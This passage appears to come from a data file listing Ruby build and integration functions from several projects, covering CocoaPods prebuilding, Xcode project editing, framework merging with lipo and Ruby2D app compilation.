\"$(PUBLIC_HEADERS_FOLDER_PATH)/#{path}\",\n \"dstSubfolderSpec\" => \"16\",\n \"name\" => \"Copy #{name} Public Headers\",\n \"runOnlyForDeploymentPostprocessing\" => \"0\",\n })\n targets.first.buildPhases << phase\n phase\n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n deployment_target, \n device, \n simulator,\n bitcode_enabled,\n custom_build_options = [], # Array<String>\n custom_build_options_simulator = [] # Array<String>\n )\n \n target_label = target.label # name with platform if it's used in multiple platforms\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = []\n # bitcode enabled\n other_options += ['BITCODE_GENERATION_MODE=bitcode'] if bitcode_enabled\n # make less arch to iphone simulator for faster build\n custom_build_options_simulator += ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'] if simulator == 'iphonesimulator'\n\n is_succeed, _ = xcodebuild(sandbox, target_label, device, deployment_target, other_options + custom_build_options)\n exit 1 unless is_succeed\n is_succeed, _ = xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + custom_build_options_simulator)\n exit 1 unless is_succeed\n\n # paths\n target_name = target.name # equals target.label, like \"AFNeworking-iOS\" when AFNetworking is used in multiple platforms.\n module_name = target.product_module_name\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{target_name}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{target_name}/#{module_name}.framework\"\n if !File.directory?(device_framework_path)\n # Newer Xcodes seem to build all in one directory.\n device_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{module_name}.framework\"\n simulator_framework_path = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{module_name}.framework\"\n end\n output_framework_path = \"#{output_path}/#{module_name}.framework\"\n\n device_binary = device_framework_path + \"/#{module_name}\"\n simulator_binary = simulator_framework_path + \"/#{module_name}\"\n return unless File.file?(device_binary) && File.file?(simulator_binary)\n \n # the device_lib path is the final output file path\n # combine the binaries\n tmp_lipoed_binary_path = \"#{build_dir}/#{target_name}\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_binary} #{simulator_binary}`\n Pod::UI.puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, device_binary, :force => true\n \n # collect the swiftmodule file for various archs.\n device_swiftmodule_path = device_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n simulator_swiftmodule_path = simulator_framework_path + \"/Modules/#{module_name}.swiftmodule\"\n if File.exist?(device_swiftmodule_path)\n FileUtils.cp_r simulator_swiftmodule_path + \"/.\", device_swiftmodule_path\n end\n\n # combine the generated swift headers\n # (In xcode 10.2, the generated swift headers vary for each archs)\n # https://github.com/leavez/cocoapods-binary/issues/58\n simulator_generated_swift_header_path = simulator_framework_path + \"/Headers/#{module_name}-Swift.h\"\n device_generated_swift_header_path = device_framework_path + \"/Headers/#{module_name}-Swift.h\"\n if File.exist? simulator_generated_swift_header_path\n device_header = File.read(device_generated_swift_header_path)\n simulator_header = File.read(simulator_generated_swift_header_path)\n # https://github.com/Carthage/Carthage/issues/2718#issuecomment-473870461\n combined_header_content = %Q{\n#if TARGET_OS_SIMULATOR // merged by cocoapods-binary\n\n#{simulator_header}\n\n#else // merged by cocoapods-binary\n\n#{device_header}\n\n#endif // merged by cocoapods-binary\n}\n File.write(device_generated_swift_header_path, combined_header_content.strip)\n end\n\n # handle the dSYM files\n device_dsym = \"#{device_framework_path}.dSYM\"\n device_dsym_output_path = \"#{output_framework_path}.dSYM\"\n if File.exist? device_dsym\n # lipo the simulator dsym\n simulator_dsym = \"#{simulator_framework_path}.dSYM\"\n if File.exist? simulator_dsym\n tmp_lipoed_binary_path = \"#{output_path}/#{module_name}.draft\"\n lipo_log = `lipo -create -output #{tmp_lipoed_binary_path} #{device_dsym}/Contents/Resources/DWARF/#{module_name} #{simulator_dsym}/Contents/Resources/DWARF/#{module_name}`\n puts lipo_log unless File.exist?(tmp_lipoed_binary_path)\n FileUtils.mv tmp_lipoed_binary_path, \"#{device_framework_path}.dSYM/Contents/Resources/DWARF/#{module_name}\", :force => true\n end\n # move\n FileUtils.rm_r device_dsym_output_path if Dir.exist? device_dsym_output_path\n File.rename device_dsym, device_dsym_output_path\n end\n\n # output\n output_path.mkpath unless output_path.exist?\n FileUtils.rm_r output_framework_path if Dir.exist? output_framework_path\n File.rename device_framework_path, output_framework_path\n\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def build(scheme, sdk, destination, action)\n puts <<-ANNOUNCE\n =============================\n | Action: #{action} \n | Scheme: \"#{scheme}\"\n | #{destination}\n =============================\n\n ANNOUNCE\n\n cmd = %W(\n xcodebuild\n -project OHHTTPStubs/OHHTTPStubs.xcodeproj\n -scheme \"#{scheme}\"\n -sdk #{sdk}\n -configuration Release\n ONLY_ACTIVE_ARCH=NO\n -destination '#{destination}'\n #{action}\n )\n\n sh \"set -o pipefail && #{cmd.join(' ')} | xcpretty -c\"\nend", "def perform_build sandbox, installer, spec, target_dir\n sandbox_root = config.sandbox_root.to_s\n builder = Pod::XBuilder.new(\n installer,\n Dir.pwd,\n sandbox_root,\n spec,\n @configuration\n )\n builder.build\n builder.outputs target_dir\n target_dir\n end", "def exec\n FileUtils.cd(@dest) do\n puts \"Running `bundle install` in #{Dir.pwd}\"\n system(\"bundle install\")\n end\n end", "def add_custom_framework(framework_path)\n puts \"Adding framework to xcode project: #{framework_path}.\"\n framework_name = File.basename(framework_path);\n local_framework_path = \"Frameworks/#{framework_name}\"\n # Add the lib file as a reference\n libRef = @project['Frameworks'].new_file(framework_path)\n # Add it to the build phase\n @target.frameworks_build_phase.add_file_reference(libRef)\n puts 'Finished adding framework.'\nend", "def copy_assets; end", "def stage_copy(source_dir)\n test_dir = File.dirname(caller[0])\n stage_clear\n srcdir = File.join(test_dir, source_dir)\n Dir[File.join(srcdir, '*')].each do |path|\n FileUtils.cp_r(path, '.')\n end\n end", "def copy_source\n directory('webpack', self.target_path, {\n recursive: true\n })\n end", "def bc_install_layout_1_app(bc, path, barclamp, options={})\n options = {:debug => false}.merge! options\n debug = options[:debug] or ENV['DEBUG'] === \"true\"\n \n #TODO - add a roll back so there are NOT partial results if a step fails\n files = []\n \n puts \"Installing barclamp #{bc} from #{path}\"\n \n #copy the rails parts (required for render BEFORE import into chef)\n dirs = Dir.entries(path)\n puts \"DEBUG: path entries #{dirs.pretty_inspect}\" if debug\n if dirs.include? 'crowbar_framework'\n puts \"DEBUG: path entries include \\\"crowbar_framework\\\"\" if debug\n files += bc_cloner('crowbar_framework', bc, nil, path, BASE_PATH, false, :debug => debug)\n framework_permissions bc, path, :debug => debug\n end\n \n #merge i18n information (least invasive operations first)\n puts \"DEBUG: merge_i18n\" if debug\n merge_i18n barclamp, :debug => debug\n puts \"DEBUG: merge_nav\" if debug\n merge_nav barclamp, true, :debug => debug\n puts \"DEBUG: merge_sass\" if debug\n merge_sass barclamp, bc, path, true, :debug => debug\n \n if dirs.include? 'bin'\n puts \"DEBUG: path entries include \\\"bin\\\"\" if debug\n files += bc_cloner('bin', bc, nil, path, BASE_PATH, false, :debug => debug) \n FileUtils.chmod_R 0755, BIN_PATH\n puts \"DEBUG: \\tcopied command line files\" if debug\n end\n if dirs.include? 'updates'\n puts \"DEBUG: path entries include \\\"updates\\\"\" if debug\n files += bc_cloner('updates', bc, nil, path, ROOT_PATH, false, :debug => debug)\n FileUtils.chmod_R 0755, UPDATE_PATH\n puts \"DEBUG: \\tcopied updates files\" if debug\n end\n \n # copy all the files to the target\n if dirs.include? 'chef'\n puts \"DEBUG: path entries include \\\"chef\\\"\" if debug\n files += bc_cloner('chef', bc, nil, path, BASE_PATH, false, :debug => debug)\n puts \"DEBUG: \\tcopied over chef parts from #{path} to #{BASE_PATH}\" if debug\n end\n \n # Migrate base crowbar schema if needed\n bc_schema_version = barclamp[\"crowbar\"][\"proposal_schema_version\"].to_i rescue 1\n if bc_schema_version < 2 \n name = barclamp['barclamp']['name']\n schema_file = File.join BASE_PATH, 'chef','data_bags','crowbar', \"bc-template-#{name}.schema\"\n if File.exists? schema_file\n a = []\n File.open(schema_file, 'r') { |f|\n a = f.readlines\n }\n \n File.open(schema_file, 'w') { |f|\n a.each do |line|\n if line =~ /crowbar-committing/\n f.write(\" \\\"crowbar-status\\\": { \\\"type\\\": \\\"str\\\" },\\n\")\n f.write(\" \\\"crowbar-failed\\\": { \\\"type\\\": \\\"str\\\" },\\n\")\n end\n f.write(line)\n end\n }\n end\n end\n \n filelist = File.join BARCLAMP_PATH, \"#{bc}-filelist.txt\"\n File.open( filelist, 'w' ) do |out|\n files.each { |line| out.puts line } \n end\n \n #copy over the crowbar.yml file\n yml_path = File.join CROWBAR_PATH, 'barclamps'\n yml_barclamp = File.join path, \"crowbar.yml\"\n FileUtils.mkdir yml_path unless File.directory? yml_path\n FileUtils.cp yml_barclamp, File.join(yml_path, \"#{bc}.yml\")\n \n puts \"DEBUG: Barclamp #{bc} (format v1) added to Crowbar Framework. Review #{filelist} for files created.\" if debug\nend", "def build\n if phase.has_key?('build')\n execute(\"build\", phase['build'])\n end\n end", "def build_apple(rb_file, device)\n check_build_src_file(rb_file)\n\n # Check for Simple 2D framework,\n unless File.exists?('/usr/local/Frameworks/Simple2D/iOS/Simple2D.framework') && File.exists?('/usr/local/Frameworks/Simple2D/tvOS/Simple2D.framework')\n puts \"#{'Error:'.error} Simple 2D iOS and tvOS frameworks not found. Install them and try again.\\n\"\n exit\n end\n\n # Check if MRuby exists; if not, quit\n if `which mruby`.empty?\n puts \"#{'Error:'.error} Can't find MRuby, which is needed to build native Ruby 2D applications.\\n\"\n exit\n end\n\n # Add debugging information to produce backtrace\n if @debug then debug_flag = '-g' end\n\n # Assemble the Ruby 2D library in one `.rb` file and compile to bytecode\n make_lib\n `mrbc #{debug_flag} -Bruby2d_lib -obuild/lib.c build/lib.rb`\n\n # Read the provided Ruby source file, copy to build dir and compile to bytecode\n File.open('build/src.rb', 'w') { |file| file << strip_require(rb_file) }\n `mrbc #{debug_flag} -Bruby2d_app -obuild/src.c build/src.rb`\n\n # Copy over iOS project\n FileUtils.cp_r \"#{@gem_dir}/assets/#{device}\", \"build\"\n\n # Combine contents of C source files and bytecode into one file\n File.open(\"build/#{device}/main.c\", 'w') do |f|\n f << \"#define RUBY2D_IOS_TVOS 1\" << \"\\n\\n\"\n f << \"#define MRUBY 1\" << \"\\n\\n\"\n f << File.read(\"build/lib.c\") << \"\\n\\n\"\n f << File.read(\"build/src.c\") << \"\\n\\n\"\n f << File.read(\"#{@gem_dir}/ext/ruby2d/ruby2d.c\")\n end\n\n # Build the Xcode project\n `simple2d build --#{device} build/#{device}/MyApp.xcodeproj`\n\n # Clean up\n clean_up unless @debug\n\n # Success!\n puts \"App created at `build/#{device}`\"\nend", "def create_inject_test_target(project, test_dir, test_target_name, test_target_identifier)\n test_target = project.new(Xcodeproj::Project::PBXNativeTarget)\n test_target.name = test_target_name\n test_target.product_name = test_target_name\n test_target.build_configuration_list = Xcodeproj::Project::ProjectHelper.configuration_list project, :ios, \"9.0\"\n\n product_ref = project.products_group.new_reference(\"#{test_target_name}.xctest\", :built_products)\n product_ref.include_in_index = '0'\n product_ref.set_explicit_file_type\n test_target.product_reference = product_ref\n\n test_target_source_build_phase = project.new(Xcodeproj::Project::PBXSourcesBuildPhase)\n test_target.build_phases << test_target_source_build_phase\n test_target.build_phases << project.new(Xcodeproj::Project::PBXFrameworksBuildPhase)\n test_target.build_phases << project.new(Xcodeproj::Project::PBXResourcesBuildPhase)\n\n test_target.build_configuration_list.set_setting('INFOPLIST_FILE', File.join(test_dir, 'Info.plist'))\n test_target.build_configuration_list.set_setting('WRAPPER_EXTENSION', 'xctest')\n test_target.build_configuration_list.set_setting('TEST_HOST', '$(BUNDLE_LOADER)')\n test_target.build_configuration_list.set_setting('PRODUCT_BUNDLE_IDENTIFIER', test_target_identifier)\n test_target.build_configuration_list.set_setting('LD_RUNPATH_SEARCH_PATHS', [\n '$(inherited)',\n '@executable_path/Frameworks',\n '@loader_path/Frameworks',\n ])\n\n Dir.glob(\"#{test_dir.sub /\\/$/, ''}/*.{swift,m}\") do |test_file|\n file_ref = project.new_file test_file\n test_target_source_build_phase.add_file_reference file_ref\n end\n\n return test_target\nend", "def build_app\n command = BuildCommandGenerator.generate\n print_command(command, \"Generated Build Command\") if $verbose\n execute_command(command: command, print_all: true, error: proc do |output|\n ErrorHandler.handle_build_error(output)\n end)\n\n Helper.log.info(\"Successfully stored the archive. You can find it in the Xcode Organizer.\".green)\n Helper.log.info(\"Stored the archive in: \".green + BuildCommandGenerator.archive_path) if $verbose\n end", "def add_system_framework(framework)\n puts \"Adding framework to xcode project: #{framework}.\"\n @target.add_system_framework(framework);\n puts 'Finished adding framework.'\nend", "def integrate!\n return if native_targets.empty?\n UI.section(integration_message) do\n add_xcconfig_base_configuration\n add_pods_library\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n user_project.save\n end\n end", "def snap_get_script_phases_with_codegen_discovery_with_config_file_dir()\n return <<~EOS\n pushd \"$PODS_ROOT/../\" > /dev/null\n RCT_SCRIPT_POD_INSTALLATION_ROOT=$(pwd)\n popd >/dev/null\n\n export RCT_SCRIPT_RN_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/../..\n export RCT_SCRIPT_APP_PATH=$RCT_SCRIPT_POD_INSTALLATION_ROOT/\n export RCT_SCRIPT_CONFIG_FILE_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/node_modules\n export RCT_SCRIPT_OUTPUT_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT\n export RCT_SCRIPT_FABRIC_ENABLED=true\n export RCT_SCRIPT_TYPE=withCodegenDiscovery\n\n SCRIPT_PHASES_SCRIPT=\"$RCT_SCRIPT_RN_DIR/scripts/react_native_pods_utils/script_phases.sh\"\n WITH_ENVIRONMENT=\"$RCT_SCRIPT_RN_DIR/scripts/xcode/with-environment.sh\"\n /bin/sh -c \"$WITH_ENVIRONMENT $SCRIPT_PHASES_SCRIPT\"\n EOS\nend", "def copy_assets\r\n FileUtils.cd('view') do\r\n %w[style.css napoli.png ferraro.svg].each do |name|\r\n FileUtils.cp(name, File.join('..', 'output', name))\r\n end\r\n end\r\nend", "def wrapper_script(wrapper_script, action_path, target_path, servers)\n lb = line_break\n env = @platform_info[\"environment_set\"]\n cmt = @platform_info[\"comment_char\"]\n script_name = File.basename(action_path)\n if windows?\n win_path = @nsh.dos_path(target_path)\n ext = \"bat\"\n script_path = \"#{win_path}\\\\#{script_name}\"\n else\n ext = \"sh\"\n script_path = \"#{target_path}/#{script_name}\"\n end\n log \"Executing via wrapper script:\"\n wrapper_script.chomp!(\"\\r\") \n if wrapper_script.include?(\"%%\")\n wrapper_script.gsub!(\"%%\", script_path)\n else\n wrapper_script += \" #{script_path}\"\n wrapper_script += lb\n end\n new_path = create_temp_action(wrapper_script, \"wrapper_#{precision_timestamp}.#{ext}\")\n log \"\\t Target: #{new_path}\"\n log \"\\t Wrapper: #{wrapper_script}\"\n result = @nsh.ncp(servers, action_path, target_path)\n log \"\\t Copy Results: #{result}\"\n new_path\n end", "def perform_deployment\n \tself.started_at = Time.now \t\n \tline = Cocaine::CommandLine.new(\"cd /home/mohkhan.Desktop/SFDC_DeplomentScripts && perl fetch_and_deploy.pl -r #{self.release} -d <#{self.target_config_name}> --mode=#{self.mode}\")\n \tline.run\n \tself.ended_at = Time.now\n \tself.status = \"deployed\"\n \tself.save\n end", "def integrate!\n UI.section(integration_message) do\n target_installation_result.non_library_specs_by_native_target.each do |native_target, spec|\n add_embed_frameworks_script_phase(native_target, spec)\n add_copy_resources_script_phase(native_target, spec)\n add_on_demand_resources(native_target, spec) if spec.app_specification?\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(spec), native_target)\n end\n add_copy_dsyms_script_phase(target_installation_result.native_target)\n add_copy_xcframeworks_script_phase(target_installation_result.native_target)\n UserProjectIntegrator::TargetIntegrator.create_or_update_user_script_phases(script_phases_for_specs(target.library_specs), target_installation_result.native_target)\n end\n end", "def test_copy_using_cp\n @rogerfile.release(blank: true, cleanup_build: false)\n @project.construct.file \"html/test.txt\"\n @project.release.run!\n\n build_path = @project.release.build_path\n\n assert build_path.exist?\n assert_equal 1, build_path.children.size\n assert_equal build_path + \"test.txt\", build_path.children.first\n end", "def before_save\n # cwd: utunes_app\n logger.info(\"=======> before_save invoked!\")\n \n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n #\n # copy template folder\n #\n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n template_folder = bundle_folder + \"/\" + \"templates\"\n template_name = \"build_hc12_vnn\"\n template_fq_name = template_folder + \"/\" + template_name\n \n logger.info(\"cp -R #{template_fq_name} #{bundle_fq_name}\")\n logger.info( %x[cp -R #{template_fq_name} #{bundle_fq_name}] )\n \n #\n # move image files to new bundle script folder\n #\n images_folder = \"public/upload\"\n \n image_ls_name = \"hc12_ls.bin\"\n image_fq_ls_name = images_folder + \"/\" + image_ls_name\n \n image_hs_name = \"hc12_hs.bin\"\n image_fq_hs_name = images_folder + \"/\" + image_hs_name\n \n image_fq_ls_target = \"#{bundle_fq_name}/hc12_images/hc12ft.txt\"\n image_fq_hs_target = \"#{bundle_fq_name}/hc12_images/hc12hs.txt\"\n \n logger.info(\"mv #{image_fq_ls_name} #{image_fq_ls_target}\")\n logger.info( %x[mv #{image_fq_ls_name} #{image_fq_ls_target}] )\n \n logger.info(\"mv #{image_fq_hs_name} #{image_fq_hs_target}\")\n logger.info( %x[mv #{image_fq_hs_name} #{image_fq_hs_target}] )\n \n #\n # creation version file\n #\n File.open(bundle_fq_name+\"/hc12_images/version\", \"w\") do |verfile|\n verfile.printf(version_str)\n end\n \n end", "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n source_paths.unshift(tempdir = Dir.mktmpdir(\"jumpstart-\"))\n at_exit { FileUtils.remove_entry(tempdir) }\n git clone: [\n \"--quiet\",\n \"https://github.com/sleekr/rails_kickstart.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n\n if (branch = __FILE__[%r{jumpstart/(.+)/template.rb}, 1])\n Dir.chdir(tempdir) { git checkout: branch }\n end\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend", "def go_bundles\n FileUtils.cd(TXMP_SUPPORT_PATH + \"/bundles\")\nend", "def publish_to_cocoapods()\n command = \"cd downstream_repos/card.io-iOS-SDK;\"\n command += \"pod trunk push CardIO.podspec\"\n \n CommandProcessor.command(command, live_output=true)\nend", "def build(target, ruby2d_app)\n\n # Check if source file provided is good\n if !ruby2d_app\n puts \"Please provide a Ruby file to build\"\n exit\n elsif !File.exist? ruby2d_app\n puts \"Can't find file: #{ruby2d_app}\"\n exit\n end\n\n # Add debugging information to produce backtrace\n if @debug then debug_flag = '-g' end\n\n # Create build directory\n FileUtils.mkdir_p 'build'\n\n # Assemble Ruby 2D library files into one '.rb' file\n\n ruby2d_lib_dir = \"#{Ruby2D.gem_dir}/lib/ruby2d/\"\n\n ruby2d_lib = ''\n @ruby2d_lib_files.each do |f|\n ruby2d_lib << File.read(\"#{ruby2d_lib_dir + f}.rb\") + \"\\n\\n\"\n end\n\n File.write('build/ruby2d_lib.rb', ruby2d_lib)\n\n # Assemble the Ruby 2D C extension files into one '.c' file\n\n ruby2d_ext_dir = \"#{Ruby2D.gem_dir}/ext/ruby2d/\"\n\n ruby2d_ext = \"#define MRUBY 1\" << \"\\n\\n\"\n Dir[\"#{ruby2d_ext_dir}*.c\"].each do |c_file|\n ruby2d_ext << File.read(c_file)\n end\n\n File.write('build/ruby2d_ext.c', ruby2d_ext)\n\n # Select `mrbc` executable based on platform\n case $RUBY2D_PLATFORM\n when :macos\n mrbc = \"#{Ruby2D.assets}/macos/universal/bin/mrbc\"\n when :windows\n mrbc = \"#{Ruby2D.assets}/windows/mingw-w64-x86_64/bin/mrbc.exe\"\n else\n mrbc = 'mrbc'\n end\n\n # Compile the Ruby 2D lib (`.rb` files) to mruby bytecode\n run_cmd \"#{mrbc} #{debug_flag} -Bruby2d_lib -obuild/ruby2d_lib.c build/ruby2d_lib.rb\"\n\n # Read the user's provided Ruby source file, copy to build dir and compile to bytecode\n File.open('build/ruby2d_app.rb', 'w') { |f| f << strip_require(ruby2d_app) }\n run_cmd \"#{mrbc} #{debug_flag} -Bruby2d_app -obuild/ruby2d_app.c build/ruby2d_app.rb\"\n\n # Combine contents of C source files and bytecode into one file\n open('build/app.c', 'w') do |f|\n ['ruby2d_app', 'ruby2d_lib', 'ruby2d_ext'].each do |c_file|\n f << File.read(\"build/#{c_file}.c\") << \"\\n\\n\"\n end\n end\n\n # Compile the final application based on the target platform\n case target\n when :native\n compile_native\n when :web\n compile_web\n end\n\n # Remove files used in the build process\n clean_up unless @debug\n\nend", "def build_framework?; ARGV.include? '--framework'; end", "def j2objc_iosjava\n pod 'j2objc-iosjava-debug', :configuration => ['Debug'], :path => '../iosjava/build/j2objcOutputs'\n pod 'j2objc-iosjava-release', :configuration => ['Release'], :path => '../iosjava/build/j2objcOutputs'\nend", "def install\n system \"./build.sh\"\n bin.install \"./bin/pngwolf\"\n end", "def set_swift_files_as_public(installer)\n Pod::UI.puts \"Fixing interface builder integration\"\n\n installer.pods_project.targets.each do |target|\n next unless target.respond_to?(:product_type)\n next unless target.product_type == 'com.apple.product-type.framework'\n\n target.source_build_phase.files_references.each do |file|\n next unless File.extname(file.path) == '.swift'\n\n buildFile = target.headers_build_phase.add_file_reference(file)\n buildFile.settings = { 'ATTRIBUTES' => ['Public']}\n end\n end\n\n installer.pods_project.save\nend", "def copy_app_files\n copy_file '../../../../app/controllers/application_controller.rb', 'app/controllers/application_controller.rb'\n end", "def integrate!\n UI.section(integration_message) do\n XCConfigIntegrator.integrate(target, native_targets)\n\n remove_obsolete_script_phases\n add_pods_library\n add_embed_frameworks_script_phase\n remove_embed_frameworks_script_phase_from_embedded_targets\n add_copy_resources_script_phase\n add_check_manifest_lock_script_phase\n add_user_script_phases\n add_on_demand_resources\n end\n end", "def install!\n refresh_file_accessors\n prepare_pod_groups\n add_source_files_references\n add_frameworks_bundles\n add_vendored_libraries\n add_resources\n add_developer_files unless sandbox.development_pods.empty?\n link_headers\n end", "def 